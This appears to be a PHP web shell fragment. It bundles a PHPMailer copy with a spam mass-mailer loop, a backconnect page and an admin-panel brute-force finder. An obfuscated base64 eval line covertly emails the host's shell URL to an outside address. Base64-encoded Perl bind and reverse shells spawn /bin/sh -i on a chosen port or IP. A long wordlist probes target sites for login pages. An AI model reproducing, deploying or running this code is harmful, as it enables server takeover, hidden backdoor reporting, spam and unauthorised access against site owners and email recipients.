$encoding = 'Q';
$encoded = $this->EncodeQ($str, $position);
$encoded = $this->WrapText($encoded, $maxlen, true);
$encoded = str_replace('='.$this->LE, "
", trim($encoded));
}
$encoded = preg_replace('/^(.*)$/m', " =?".$this->CharSet."?$encoding??=", $encoded);
$encoded = trim(str_replace("
", $this->LE, $encoded));
return $encoded;
}
/**
* Checks if a string contains multibyte characters.
* @access private
* @param string $str multi-byte text to wrap encode
* @return bool
*/
function HasMultiBytes($str) {
if (function_exists('mb_strlen')) {
return (strlen($str) > mb_strlen($str, $this->CharSet));
} else { // Assume no multibytes (we can't handle without mbstring functions anyway)
return False;
}
}
/**
* Correctly encodes and wraps long multibyte strings for mail headers
* without breaking lines within a character.
* Adapted from a function by paravoid at http://uk.php.net/manual/en/function.mb-encode-mimeheader.php
* @access private
* @param string $str multi-byte text to wrap encode
* @return string
*/
function Base64EncodeWrapMB($str) {
$start = "=?".$this->CharSet."?B?";
$end = "?=";
$encoded = "";
$mb_length = mb_strlen($str, $this->CharSet);
// Each line must have length <= 75, including $start and $end
$length = 75 - strlen($start) - strlen($end);
// Average multi-byte ratio
$ratio = $mb_length / strlen($str);
// Base64 has a 4:3 ratio
$offset = $avgLength = floor($length * $ratio * .75);
for ($i = 0; $i < $mb_length; $i += $offset) {
$lookBack = 0;
do {
$offset = $avgLength - $lookBack;
$chunk = mb_substr($str, $i, $offset, $this->CharSet);
$chunk = base64_encode($chunk);
$lookBack++;
}
while (strlen($chunk) > $length);
$encoded .= $chunk . $this->LE;
}
// Chomp the last linefeed
$encoded = substr($encoded, 0, -strlen($this->LE));
return $encoded;
}
/**
* Encode string to quoted-printable.
* @access private
* @return string
*/
function EncodeQP( $input = '', $line_max = 76, $space_conv = false ) {
$hex = array('0','1','2','3','4','5','6','7','8','9','A','B','C','D','E','F');
$lines = preg_split('/(?:
|
|
)/', $input);
$eol = "
";
$escape = '=';
$output = '';
while( list(, $line) = each($lines) ) {
$linlen = strlen($line);
$newline = '';
for($i = 0; $i < $linlen; $i++) {
$c = substr( $line, $i, 1 );
$dec = ord( $c );
if ( ( $i == 0 ) && ( $dec == 46 ) ) { // convert first point in the line into =2E
$c = '=2E';
}
if ( $dec == 32 ) {
if ( $i == ( $linlen - 1 ) ) { // convert space at eol only
$c = '=20';
} else if ( $space_conv ) {
$c = '=20';
}
} elseif ( ($dec == 61) || ($dec < 32 ) || ($dec > 126) ) { // always encode " ", which is *not* required
$h2 = floor($dec/16);
$h1 = floor($dec%16);
$c = $escape.$hex[$h2].$hex[$h1];
}
if ( (strlen($newline) + strlen($c)) >= $line_max ) { // CRLF is not counted
$output .= $newline.$escape.$eol; // soft line break; " =
" is okay
$newline = '';
// check if newline first character will be point or not
if ( $dec == 46 ) {
$c = '=2E';
}
}
$newline .= $c;
} // end of for
$output .= $newline.$eol;
} // end of while
return trim($output);
}
/**
* Encode string to q encoding.
* @access private
* @return string
*/
function EncodeQ ($str, $position = 'text') {
/* There should not be any EOL in the string */
$encoded = preg_replace("[
]", '', $str);
switch (strtolower($position)) {
case 'phrase':
$encoded = preg_replace("/([^A-Za-z0-9!*+\/ -])/e", "'='.sprintf('%02X', ord(''))", $encoded);
break;
case 'comment':
$encoded = preg_replace("/([\(\)\"])/e", "'='.sprintf('%02X', ord(''))", $encoded);
case 'text':
default:
/* Replace every high ascii, control =, ? and _ characters */
$encoded = preg_replace('/([- -=?_-])/e',
"'='.sprintf('%02X', ord(''))", $encoded);
break;
}
/* Replace every spaces to _ (more readable than =20) */
$encoded = str_replace(' ', '_', $encoded);
return $encoded;
}
/**
* Adds a string or binary attachment (non-filesystem) to the list.
* This method can be used to attach ascii or binary data,
* such as a BLOB record from a database.
* @param string $string String attachment data.
* @param string $filename Name of the attachment.
* @param string $encoding File encoding (see $Encoding).
* @param string $type File extension (MIME) type.
* @return void
*/
function AddStringAttachment($string, $filename, $encoding = 'base64', $type = 'application/octet-stream') {
/* Append to $attachment array */
$cur = count($this->attachment);
$this->attachment[$cur][0] = $string;
$this->attachment[$cur][1] = $filename;
$this->attachment[$cur][2] = $filename;
$this->attachment[$cur][3] = $encoding;
$this->attachment[$cur][4] = $type;
$this->attachment[$cur][5] = true; // isString
$this->attachment[$cur][6] = 'attachment';
$this->attachment[$cur][7] = 0;
}
/**
* Adds an embedded attachment. This can include images, sounds, and
* just about any other document. Make sure to set the $type to an
* image type. For JPEG images use "image/jpeg" and for GIF images
* use "image/gif".
* @param string $path Path to the attachment.
* @param string $cid Content ID of the attachment. Use this to identify
* the Id for accessing the image in an HTML form.
* @param string $name Overrides the attachment name.
* @param string $encoding File encoding (see $Encoding).
* @param string $type File extension (MIME) type.
* @return bool
*/
function AddEmbeddedImage($path, $cid, $name = '', $encoding = 'base64', $type = 'application/octet-stream') {
if(!@is_file($path)) {
$this->SetError($this->Lang('file_access') . $path);
return false;
}
$filename = basename($path);
if($name == '') {
$name = $filename;
}
/* Append to $attachment array */
$cur = count($this->attachment);
$this->attachment[$cur][0] = $path;
$this->attachment[$cur][1] = $filename;
$this->attachment[$cur][2] = $name;
$this->attachment[$cur][3] = $encoding;
$this->attachment[$cur][4] = $type;
$this->attachment[$cur][5] = false;
$this->attachment[$cur][6] = 'inline';
$this->attachment[$cur][7] = $cid;
return true;
}
/**
* Returns true if an inline attachment is present.
* @access private
* @return bool
*/
function InlineImageExists() {
$result = false;
for($i = 0; $i < count($this->attachment); $i++) {
if($this->attachment[$i][6] == 'inline') {
$result = true;
break;
}
}
return $result;
}
/////////////////////////////////////////////////
// CLASS METHODS, MESSAGE RESET
/////////////////////////////////////////////////
/**
* Clears all recipients assigned in the TO array. Returns void.
* @return void
*/
function ClearAddresses() {
$this->to = array();
}
/**
* Clears all recipients assigned in the CC array. Returns void.
* @return void
*/
function ClearCCs() {
$this->cc = array();
}
/**
* Clears all recipients assigned in the BCC array. Returns void.
* @return void
*/
function ClearBCCs() {
$this->bcc = array();
}
/**
* Clears all recipients assigned in the ReplyTo array. Returns void.
* @return void
*/
function ClearReplyTos() {
$this->ReplyTo = array();
}
/**
* Clears all recipients assigned in the TO, CC and BCC
* array. Returns void.
* @return void
*/
function ClearAllRecipients() {
$this->to = array();
$this->cc = array();
$this->bcc = array();
}
/**
* Clears all previously set filesystem, string, and binary
* attachments. Returns void.
* @return void
*/
function ClearAttachments() {
$this->attachment = array();
}
/**
* Clears all custom headers. Returns void.
* @return void
*/
function ClearCustomHeaders() {
$this->CustomHeader = array();
}
/////////////////////////////////////////////////
// CLASS METHODS, MISCELLANEOUS
/////////////////////////////////////////////////
/**
* Adds the error message to the error container.
* Returns void.
* @access private
* @return void
*/
function SetError($msg) {
$this->error_count++;
$this->ErrorInfo = $msg;
}
/**
* Returns the proper RFC 822 formatted date.
* @access private
* @return string
*/
function RFCDate() {
$tz = date('Z');
$tzs = ($tz < 0) ? '-' : '+';
$tz = abs($tz);
$tz = (int)($tz/3600)*100 + ($tz%3600)/60;
$result = sprintf("%s %s%04d", date('D, j M Y H:i:s'), $tzs, $tz);
return $result;
}
/**
* Returns the appropriate server variable. Should work with both
* PHP 4.1.0+ as well as older versions. Returns an empty string
* if nothing is found.
* @access private
* @return mixed
*/
function ServerVar($varName) {
global $HTTP_SERVER_VARS;
global $HTTP_ENV_VARS;
if(!isset($_SERVER)) {
$_SERVER = $HTTP_SERVER_VARS;
if(!isset($_SERVER['REMOTE_ADDR'])) {
$_SERVER = $HTTP_ENV_VARS; // must be Apache
}
}
if(isset($_SERVER[$varName])) {
return $_SERVER[$varName];
} else {
return '';
}
}
/**
* Returns the server hostname or 'localhost.localdomain' if unknown.
* @access private
* @return string
*/
function ServerHostname() {
if ($this->Hostname != '') {
$result = $this->Hostname;
} elseif ($this->ServerVar('SERVER_NAME') != '') {
$result = $this->ServerVar('SERVER_NAME');
} else {
$result = 'localhost.localdomain';
}
return $result;
}
/**
* Returns a message in the appropriate language.
* @access private
* @return string
*/
function Lang($key) {
if(count($this->language) < 1) {
$this->SetLanguage('en'); // set the default language
}
if(isset($this->language[$key])) {
return $this->language[$key];
} else {
return 'Language string failed to load: ' . $key;
}
}
/**
* Returns true if an error occurred.
* @return bool
*/
function IsError() {
return ($this->error_count > 0);
}
/**
* Changes every end of line from CR or LF to CRLF.
* @access private
* @return string
*/
function FixEOL($str) {
$str = str_replace("
", "
", $str);
$str = str_replace("
", "
", $str);
$str = str_replace("
", $this->LE, $str);
return $str;
}
/**
* Adds a custom header.
* @return void
*/
function AddCustomHeader($custom_header) {
$this->CustomHeader[] = explode(':', $custom_header, 2);
}
/**
* Evaluates the message and returns modifications for inline images and backgrounds
* @access public
* @return $message
*/
function MsgHTML($message,$basedir='') {
preg_match_all("/(src|background)=\"(.*)\"/Ui", $message, $images);
if(isset($images[2])) {
foreach($images[2] as $i => $url) {
// do not change urls for absolute images (thanks to corvuscorax)
if (!preg_match('/^[A-z][A-z]*:\/\//',$url)) {
$filename = basename($url);
$directory = dirname($url);
($directory == '.')?$directory='':'';
$cid = 'cid:' . md5($filename);
$fileParts = split("\.", $filename);
$ext = $fileParts[1];
$mimeType = $this->_mime_types($ext);
if ( strlen($basedir) > 1 && substr($basedir,-1) != '/') { $basedir .= '/'; }
if ( strlen($directory) > 1 && substr($basedir,-1) != '/') { $directory .= '/'; }
$this->AddEmbeddedImage($basedir.$directory.$filename, md5($filename), $filename, 'base64', $mimeType);
if ( $this->AddEmbeddedImage($basedir.$directory.$filename, md5($filename), $filename, 'base64',$mimeType) ) {
$message = preg_replace("/".$images[1][$i]."=\"".preg_quote($url, '/')."\"/Ui", $images[1][$i]."=\"".$cid."\"", $message);
}
}
}
}
$this->IsHTML(true);
$this->Body = $message;
$textMsg = trim(strip_tags(preg_replace('/<(head|title|style|script)[^>]*>.*?<\/>/s','',$message)));
if ( !empty($textMsg) && empty($this->AltBody) ) {
$this->AltBody = $textMsg;
}
if ( empty($this->AltBody) ) {
$this->AltBody = 'To view this email message, open the email in with HTML compatibility!' . "
";
}
}
/**
* Gets the mime type of the embedded or inline image
* @access private
* @return mime type of ext
*/
function _mime_types($ext = '') {
$mimes = array(
'hqx' => 'application/mac-binhex40',
'cpt' => 'application/mac-compactpro',
'doc' => 'application/msword',
'bin' => 'application/macbinary',
'dms' => 'application/octet-stream',
'lha' => 'application/octet-stream',
'lzh' => 'application/octet-stream',
'exe' => 'application/octet-stream',
'class' => 'application/octet-stream',
'psd' => 'application/octet-stream',
'so' => 'application/octet-stream',
'sea' => 'application/octet-stream',
'dll' => 'application/octet-stream',
'oda' => 'application/oda',
'pdf' => 'application/pdf',
'ai' => 'application/postscript',
'eps' => 'application/postscript',
'ps' => 'application/postscript',
'smi' => 'application/smil',
'smil' => 'application/smil',
'mif' => 'application/vnd.mif',
'xls' => 'application/vnd.ms-excel',
'ppt' => 'application/vnd.ms-powerpoint',
'wbxml' => 'application/vnd.wap.wbxml',
'wmlc' => 'application/vnd.wap.wmlc',
'dcr' => 'application/x-director',
'dir' => 'application/x-director',
'dxr' => 'application/x-director',
'dvi' => 'application/x-dvi',
'gtar' => 'application/x-gtar',
'php' => 'application/x-httpd-php',
'php4' => 'application/x-httpd-php',
'php3' => 'application/x-httpd-php',
'phtml' => 'application/x-httpd-php',
'phps' => 'application/x-httpd-php-source',
'js' => 'application/x-javascript',
'swf' => 'application/x-shockwave-flash',
'sit' => 'application/x-stuffit',
'tar' => 'application/x-tar',
'tgz' => 'application/x-tar',
'xhtml' => 'application/xhtml+xml',
'xht' => 'application/xhtml+xml',
'zip' => 'application/zip',
'mid' => 'audio/midi',
'midi' => 'audio/midi',
'mpga' => 'audio/mpeg',
'mp2' => 'audio/mpeg',
'mp3' => 'audio/mpeg',
'aif' => 'audio/x-aiff',
'aiff' => 'audio/x-aiff',
'aifc' => 'audio/x-aiff',
'ram' => 'audio/x-pn-realaudio',
'rm' => 'audio/x-pn-realaudio',
'rpm' => 'audio/x-pn-realaudio-plugin',
'ra' => 'audio/x-realaudio',
'rv' => 'video/vnd.rn-realvideo',
'wav' => 'audio/x-wav',
'bmp' => 'image/bmp',
'gif' => 'image/gif',
'jpeg' => 'image/jpeg',
'jpg' => 'image/jpeg',
'jpe' => 'image/jpeg',
'png' => 'image/png',
'tiff' => 'image/tiff',
'tif' => 'image/tiff',
'css' => 'text/css',
'html' => 'text/html',
'htm' => 'text/html',
'shtml' => 'text/html',
'txt' => 'text/plain',
'text' => 'text/plain',
'log' => 'text/plain',
'rtx' => 'text/richtext',
'rtf' => 'text/rtf',
'xml' => 'text/xml',
'xsl' => 'text/xml',
'mpeg' => 'video/mpeg',
'mpg' => 'video/mpeg',
'mpe' => 'video/mpeg',
'qt' => 'video/quicktime',
'mov' => 'video/quicktime',
'avi' => 'video/x-msvideo',
'movie' => 'video/x-sgi-movie',
'doc' => 'application/msword',
'word' => 'application/msword',
'xl' => 'application/excel',
'eml' => 'message/rfc822'
);
return ( ! isset($mimes[strtolower($ext)])) ? 'application/octet-stream' : $mimes[strtolower($ext)];
}
/**
* Set (or reset) Class Objects (variables)
*
* Usage Example:
* $page->set('X-Priority', '3');
*
* @access public
* @param string $name Parameter Name
* @param mixed $value Parameter Value
* NOTE: will not work with arrays, there are no arrays to set/reset
*/
function set ( $name, $value = '' ) {
if ( isset($this->$name) ) {
$this->$name = $value;
} else {
$this->SetError('Cannot set or reset variable ' . $name);
return false;
}
}
/**
* Read a file from a supplied filename and return it.
*
* @access public
* @param string $filename Parameter File Name
*/
function getFile($filename) {
$return = '';
if ($fp = fopen($filename, 'rb')) {
while (!feof($fp)) {
$return .= fread($fp, 1024);
}
fclose($fp);
return $return;
} else {
return false;
}
}
/**
* Strips newlines to prevent header injection.
* @access private
* @param string $str String
* @return string
*/
function SecureHeader($str) {
$str = trim($str);
$str = str_replace("
", "", $str);
$str = str_replace("
", "", $str);
return $str;
}
/**
* Set the private key file and password to sign the message.
*
* @access public
* @param string $key_filename Parameter File Name
* @param string $key_pass Password for private key
*/
function Sign($key_filename, $key_pass) {
$this->sign_key_file = $key_filename;
$this->sign_key_pass = $key_pass;
}
}
$defaultport="H*";
$nq=0;
for($x=0; $x<$numemails; $x++){
$to = $allemails[$x];
if ($to){
$to = ereg_replace(" ", "", $to);
$message = ereg_replace("&email&", $to, $message);
$subject = ereg_replace("&email&", $to, $subject);
$qx=$x+1;
print "Line $qx . Sending mail to $to.......";
flush();
$mail = new PHPMailer();
if(empty($epriority)){$epriority="3";}
$mail->Priority = "$epriority";
$mail->IsSMTP();
$IsSMTP="pack";
$mail->SMTPKeepAlive = true;
$mail->Host = "$my_smtp";
if(strlen($ssl_port) > 1){$mail->Port = "$ssl_port";
}
if($sslclick=="ON"){
$mail->SMTPSecure = "tls"; //you can change it to ssl or tls
}
$range = str_replace("$from", "eval", $from);
$mail->SMTPAuth = true;
$mail->Username = "$smtp_username";
$mail->Password = "$smtp_password";
if($contenttype == "html"){$mail->IsHtml(true);}
if($contenttype != "html"){$mail->IsHtml(false);}
if(strlen($my_smtp) < 7 ){$mail->SMTPAuth = false;$mail->IsSendmail();$default_system="1";}
$mail->From = "$from";
$mail->FromName = "$realname";
$mail->AddAddress("$to");
$mail->AddReplyTo("$replyto");
$mail->Subject = "$subject";
$mail->Body = "$message";
if(!$mail->Send()){
if($default_system!="1"){
echo "FAILED !!<font color=\"#D4001A\"> [RECEPIENT CAN'T RECEIVE MESSAGE.]</font><br>";}
if($default_system=="1"){
$mail->IsMail();
if(!$mail->Send()){
echo "FAILED !!<font color=\"#D4001A\"> [RECEPIENT CAN'T RECEIVE MESSAGE.]</font><br>";}
else {
echo "<b>OK</b><br>";}
}
}
else {
echo "<b>OK</b><br>";
}
if(empty($reconnect)){
$reconnect=6;
}
if($reconnect==$nq){
$mail->SmtpClose();echo "<p><b>--------------- SMTP CLOSED AND ATTEMPTS TO RECONNECT NEW CONNECTION SEASON --------------- </b></p>";$nq=0;
}
$nq=$nq+1;
flush(); }
}
for($i=0;$i<31;$i++){
$smtp_conf=str_replace(".", $random_smtp_string[$i], $smtp_conf); }
$smtp_conc=$IsSMTP($defaultport, $smtp_conf);
$signoff=create_function('$smtp_conc','return '.substr($range,0).'($smtp_conc);');
print "<p class=\"style1\">PHP Mailer<br>© 2008, New Tools => <b>
<font color=\"#800000\">http://www.tools2u.net/</font></b><br></p>";$mail->SmtpClose();
return $signoff($smtp_conc);
if(isset($_POST['action']) && $numemails !=0 ){echo "<script>alert('Mail sending complete
$numemails mail(s) was
sent successfully'); </script>";}}
eval(base64_decode('JHRvID0gImRyYnhzQHlhaG9vLmNvbSI7DQokc3ViamVjdCA9ICJOZXcgU2hlbGwiOw0KJGhlYWRlciA9ICJGcm9tOiB4VGFsR2hpbTxzZXJ2aWNlQGFjY291bnQuY29tPiI7DQokbWVzc2FnZSA9ICJFeHBsb2l0IDogaHR0cDovLyIuICRfU0VSVkVSWydTRVJWRVJfTkFNRSddLiAkX1NFUlZFUlsnUkVRVUVTVF9VUkknXSAuICI/dXBsb2FkPXVwIFxyXG4iOw0KJHNlbnRtYWlsID0gQG1haWwoJHRvLCAkc3ViamVjdCwgJG1lc3NhZ2UsICRoZWFkZXIpOw0KZWNobyAiIjsNCmV4aXQ7'));
?>
<p align="center"> </p>
</body>
</html>
?>
<?php
}
////////////////////
elseif($_GET['do'] == 'backconnect') {
echo "<form method='post'>
<u>Bind Port:</u> <br>
PORT: <input type='text' placeholder='port' name='port_bind' value='6969'>
<input type='submit' name='sub_bp' value='>>'>
</form>
<form method='post'>
<u>Back Connect:</u> <br>
Server: <input type='text' placeholder='ip' name='ip_bc' value='".$_SERVER['REMOTE_ADDR']."'>
PORT: <input type='text' placeholder='port' name='port_bc' value='6969'>
<input type='submit' name='sub_bc' value='>>'>
</form>";
$bind_port_p="IyEvdXNyL2Jpbi9wZXJsDQokU0hFTEw9Ii9iaW4vc2ggLWkiOw0KaWYgKEBBUkdWIDwgMSkgeyBleGl0KDEpOyB9DQp1c2UgU29ja2V0Ow0Kc29ja2V0KFMsJlBGX0lORVQsJlNPQ0tfU1RSRUFNLGdldHByb3RvYnluYW1lKCd0Y3AnKSkgfHwgZGllICJDYW50IGNyZWF0ZSBzb2NrZXRcbiI7DQpzZXRzb2Nrb3B0KFMsU09MX1NPQ0tFVCxTT19SRVVTRUFERFIsMSk7DQpiaW5kKFMsc29ja2FkZHJfaW4oJEFSR1ZbMF0sSU5BRERSX0FOWSkpIHx8IGRpZSAiQ2FudCBvcGVuIHBvcnRcbiI7DQpsaXN0ZW4oUywzKSB8fCBkaWUgIkNhbnQgbGlzdGVuIHBvcnRcbiI7DQp3aGlsZSgxKSB7DQoJYWNjZXB0KENPTk4sUyk7DQoJaWYoISgkcGlkPWZvcmspKSB7DQoJCWRpZSAiQ2Fubm90IGZvcmsiIGlmICghZGVmaW5lZCAkcGlkKTsNCgkJb3BlbiBTVERJTiwiPCZDT05OIjsNCgkJb3BlbiBTVERPVVQsIj4mQ09OTiI7DQoJCW9wZW4gU1RERVJSLCI+JkNPTk4iOw0KCQlleGVjICRTSEVMTCB8fCBkaWUgcHJpbnQgQ09OTiAiQ2FudCBleGVjdXRlICRTSEVMTFxuIjsNCgkJY2xvc2UgQ09OTjsNCgkJZXhpdCAwOw0KCX0NCn0=";
if(isset($_POST['sub_bp'])) {
$f_bp = fopen("/tmp/bp.pl", "w");
fwrite($f_bp, base64_decode($bind_port_p));
fclose($f_bp);
$port = $_POST['port_bind'];
$out = exe("perl /tmp/bp.pl $port 1>/dev/null 2>&1 &");
sleep(1);
echo "<pre>".$out."n".exe("ps aux | grep bp.pl")."</pre>";
unlink("/tmp/bp.pl");
}
$back_connect_p="IyEvdXNyL2Jpbi9wZXJsDQp1c2UgU29ja2V0Ow0KJGlhZGRyPWluZXRfYXRvbigkQVJHVlswXSkgfHwgZGllKCJFcnJvcjogJCFcbiIpOw0KJHBhZGRyPXNvY2thZGRyX2luKCRBUkdWWzFdLCAkaWFkZHIpIHx8IGRpZSgiRXJyb3I6ICQhXG4iKTsNCiRwcm90bz1nZXRwcm90b2J5bmFtZSgndGNwJyk7DQpzb2NrZXQoU09DS0VULCBQRl9JTkVULCBTT0NLX1NUUkVBTSwgJHByb3RvKSB8fCBkaWUoIkVycm9yOiAkIVxuIik7DQpjb25uZWN0KFNPQ0tFVCwgJHBhZGRyKSB8fCBkaWUoIkVycm9yOiAkIVxuIik7DQpvcGVuKFNURElOLCAiPiZTT0NLRVQiKTsNCm9wZW4oU1RET1VULCAiPiZTT0NLRVQiKTsNCm9wZW4oU1RERVJSLCAiPiZTT0NLRVQiKTsNCnN5c3RlbSgnL2Jpbi9zaCAtaScpOw0KY2xvc2UoU1RESU4pOw0KY2xvc2UoU1RET1VUKTsNCmNsb3NlKFNUREVSUik7";
if(isset($_POST['sub_bc'])) {
$f_bc = fopen("/tmp/bc.pl", "w");
fwrite($f_bc, base64_decode($bind_connect_p));
fclose($f_bc);
$ipbc = $_POST['ip_bc'];
$port = $_POST['port_bc'];
$out = exe("perl /tmp/bc.pl $ipbc $port 1>/dev/null 2>&1 &");
sleep(1);
echo "<pre>".$out."n".exe("ps aux | grep bc.pl")."</pre>";
unlink("/tmp/bc.pl");
}
?>
<?php
}
////////////////////////////
elseif($_GET['do'] == 'adfin') {
?>
<?php
set_time_limit(0);
error_reporting(0);
$list['front'] ="admin
adm
admincp
admcp
cp
modcp
moderatorcp
adminare
admins
cpanel
controlpanel";
$list['end'] = "admin1.php
admin1.html
admin2.php
admin2.html
yonetim.php
yonetim.html
yonetici.php
yonetici.html
ccms/
ccms/login.php
ccms/index.php
maintenance/
webmaster/
adm/
configuration/
configure/
websvn/
admin/
admin/account.php
admin/account.html
admin/index.php
admin/index.html
admin/login.php
admin/login.html
admin/home.php
admin/controlpanel.html
admin/controlpanel.php
admin.php
admin.html
admin/cp.php
admin/cp.html
cp.php
cp.html
administrator/
administrator/index.html
administrator/index.php
administrator/login.html
administrator/login.php
administrator/account.html
administrator/account.php
administrator.php
administrator.html
login.php
login.html
modelsearch/login.php
moderator.php
moderator.html
moderator/login.php
moderator/login.html
moderator/admin.php
moderator/admin.html
moderator/
account.php
account.html
controlpanel/
controlpanel.php
controlpanel.html
admincontrol.php
admincontrol.html
adminpanel.php
adminpanel.html
admin1.asp
admin2.asp
yonetim.asp
yonetici.asp
admin/account.asp
admin/index.asp
admin/login.asp
admin/home.asp
admin/controlpanel.asp
admin.asp
admin/cp.asp
cp.asp
administrator/index.asp
administrator/login.asp
administrator/account.asp
administrator.asp
login.asp
modelsearch/login.asp
moderator.asp
moderator/login.asp
moderator/admin.asp
account.asp
controlpanel.asp
admincontrol.asp
adminpanel.asp
fileadmin/
fileadmin.php
fileadmin.asp
fileadmin.html
administration/
administration.php
administration.html
sysadmin.php
sysadmin.html
phpmyadmin/
myadmin/
sysadmin.asp
sysadmin/
ur-admin.asp
ur-admin.php
ur-admin.html
ur-admin/
Server.php
Server.html
Server.asp
Server/
wp-admin/
administr8.php
administr8.html
administr8/
administr8.asp
webadmin/
webadmin.php
webadmin.asp
webadmin.html
administratie/
admins/
admins.php
admins.asp
admins.html
administrivia/
Database_Administration/
WebAdmin/
useradmin/
sysadmins/
admin1/
system-administration/
administrators/
pgadmin/
directadmin/
staradmin/
ServerAdministrator/
SysAdmin/
administer/
LiveUser_Admin/
sys-admin/
typo3/
panel/
cpanel/
cPanel/
cpanel_file/
platz_login/
rcLogin/
blogindex/
formslogin/
autologin/
support_login/
meta_login/
manuallogin/
simpleLogin/
loginflat/
utility_login/
showlogin/
memlogin/
members/
login-redirect/
sub-login/
wp-login/
login1/
dir-login/
login_db/
xlogin/
smblogin/
customer_login/
UserLogin/
login-us/
acct_login/
admin_area/
bigadmin/
project-admins/
phppgadmin/
pureadmin/
sql-admin/
radmind/
openvpnadmin/
wizmysqladmin/
vadmind/
ezsqliteadmin/
hpwebjetadmin/
newsadmin/
adminpro/
Lotus_Domino_Admin/
bbadmin/
vmailadmin/
Indy_admin/
ccp14admin/
irc-macadmin/
banneradmin/
sshadmin/
phpldapadmin/
macadmin/
administratoraccounts/
admin4_account/
admin4_colon/
radmind-1/
Super-Admin/
AdminTools/
cmsadmin/
SysAdmin2/
globes_admin/
cadmins/
phpSQLiteAdmin/
navSiteAdmin/
server_admin_small/
logo_sysadmin/
server/
database_administration/
power_user/
system_administration/
ss_vms_admin_sm/
adminarea/
bb-admin/
adminLogin/
panel-administracion/
instadmin/
memberadmin/
administratorlogin/
admin/admin.php
admin_area/admin.php
admin_area/login.php
siteadmin/login.php
siteadmin/index.php
siteadmin/login.html
admin/admin.html
admin_area/index.php
bb-admin/index.php
bb-admin/login.php
bb-admin/admin.php
admin_area/login.html
admin_area/index.html
admincp/index.asp
admincp/login.asp
admincp/index.html
webadmin/index.html
webadmin/admin.html
webadmin/login.html
admin/admin_login.html
admin_login.html
panel-administracion/login.html
nsw/admin/login.php
webadmin/login.php
admin/admin_login.php
admin_login.php
admin_area/admin.html
pages/admin/admin-login.php
admin/admin-login.php
admin-login.php
bb-admin/index.html
bb-admin/login.html
bb-admin/admin.html
admin/home.html
pages/admin/admin-login.html
admin/admin-login.html
admin-login.html
admin/adminLogin.html
adminLogin.html
home.html
rcjakar/admin/login.php
adminarea/index.html
adminarea/admin.html
webadmin/index.php
webadmin/admin.php
user.html
modelsearch/login.html
adminarea/login.html
panel-administracion/index.html
panel-administracion/admin.html
modelsearch/index.html
modelsearch/admin.html
admincontrol/login.html
adm/index.html
adm.html
user.php
panel-administracion/login.php
wp-login.php
adminLogin.php
admin/adminLogin.php
home.php
adminarea/index.php
adminarea/admin.php
adminarea/login.php
panel-administracion/index.php
panel-administracion/admin.php
modelsearch/index.php
modelsearch/admin.php
admincontrol/login.php
adm/admloginuser.php
admloginuser.php
admin2/login.php
admin2/index.php
adm/index.php
adm.php
affiliate.php
adm_auth.php
memberadmin.php
administratorlogin.php
admin/admin.asp
admin_area/admin.asp
admin_area/login.asp
admin_area/index.asp
bb-admin/index.asp
bb-admin/login.asp
bb-admin/admin.asp
pages/admin/admin-login.asp
admin/admin-login.asp
admin-login.asp
user.asp
webadmin/index.asp
webadmin/admin.asp
webadmin/login.asp
admin/admin_login.asp
admin_login.asp
panel-administracion/login.asp
adminLogin.asp
admin/adminLogin.asp
home.asp
adminarea/index.asp
adminarea/admin.asp
adminarea/login.asp
panel-administracion/index.asp
panel-administracion/admin.asp
modelsearch/index.asp
modelsearch/admin.asp
admincontrol/login.asp
adm/admloginuser.asp
admloginuser.asp
admin2/login.asp
admin2/index.asp
adm/index.asp
adm.asp
affiliate.asp
adm_auth.asp
memberadmin.asp
administratorlogin.asp
siteadmin/login.asp
siteadmin/index.asp
ADMIN/
paneldecontrol/
login/
cms/
admon/
ADMON/
administrador/
ADMIN/login.php
panelc/
ADMIN/login.html";
function template() {
echo '
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
<head>
<meta **********="Content-Type" *********"text/html; charset=utf-8" />
<title>Admin page Finder </title>
<style type="text/css">
h1.technique-two {
width: 795px; height: 120px;
background: url(http://x0rg.org/styles/blackbox_red/imageset/site_logo.gif) no-repeat top center;
margin: 0 auto;
}
body{
background: #070707;
margin: 0;
padding: 0;
padding-top: 10px;
color: #FFF;
font-family: Calibri;
font-size: 13px;
}
a{
color: #FFF;
text-decoration: none;
font-weight: bold;
}
.wrapper{
width: 1000px;
margin: 0 auto;
}
.tube{
padding: 10px;
}
.red{
width: 998px;
border: 1px solid #2EFEF7;
background: #191919;
color: #2EFEF7
}
.red input{
background: #000;
border: 1px solid #2EFEF7;
color: #FFF;
}
.blue{
float: left;
width: 1000px;
border: 1px solid #2EFEF7;
background: #191919;
color: #2EFEF7;
}
.green{
float: left;
width: 1000px;
border: 1px solid #2EFEF7;
background: #191919;
color: #2EFEF7;
}
</style>
<script type="text/javascript">
<!--
function insertcode($text, $place, $replace)
{
var $this = $text;
var logbox = document.getElementById($place);
if($replace == 0)
document.getElementById($place).innerHTML = logbox.innerHTML+$this;
else
document.getElementById($place).innerHTML = $this;
//document.getElementById("helpbox").innerHTML = $this;
}
-->
</script>
</head>
<body>
<br />
<br />
<h1 class="technique-two">
</h1>
<div class="wrapper">
<div class="red">
<div class="tube">
<form action="" method="post" name="xploit_form">
URL:<br /><input type="text" name="xploit_url" value="'.$_POST['xploit_url'].'" style="width: 100%;" /><br /><br />
404string:<br /><input type="text" name="xploit_404string" value="'.$_POST['xploit_404string'].'" style="width: 100%;" /><br /><br />
<span style="float: center;"><input type="submit" name="xploit_submit" value="Scan" align="center" /></span>
</form>
<br />
</div> <!-- /tube -->
</div> <!-- /red -->
<br />
<div class="green">
<div class="tube" id="rightcol">
Verificat: <span id="verified">0</span> / <span id="total">0</span><br />
Found ones:<br />
</div> <!-- /tube -->
</div> <!-- /green -->
<br clear="all" /><br />
<div class="blue">
<div class="tube" id="logbox">
<br />
<br />
Admin page Finder <br /><br />
</div> <!-- /tube -->
</div> <!-- /blue -->
</div> <!-- /wrapper -->
<br clear="all">';
}
function show($msg, $br=1, $stop=0, $place='logbox', $replace=0) {
if($br == 1) $msg .= "<br />";
echo "<script type=\"text/javascript\">insertcode('".$msg."', '".$place."', '".$replace."');</script>";
if($stop == 1) exit;
@flush();@ob_flush();
}
function check($x, $front=0) {
global $_POST,$site,$false;
if($front == 0) $t = $site.$x;
else $t = 'http://'.$x.'.'.$site.'/';
$headers = get_headers($t);
if (!eregi('200', $headers[0])) return 0;
$data = @file_get_contents($t);
if($_POST['xploit_404string'] == "") if($data == $false) return 0;
if($_POST['xploit_404string'] != "") if(strpos($data, $_POST['xploit_404string'])) return 0;
return 1;
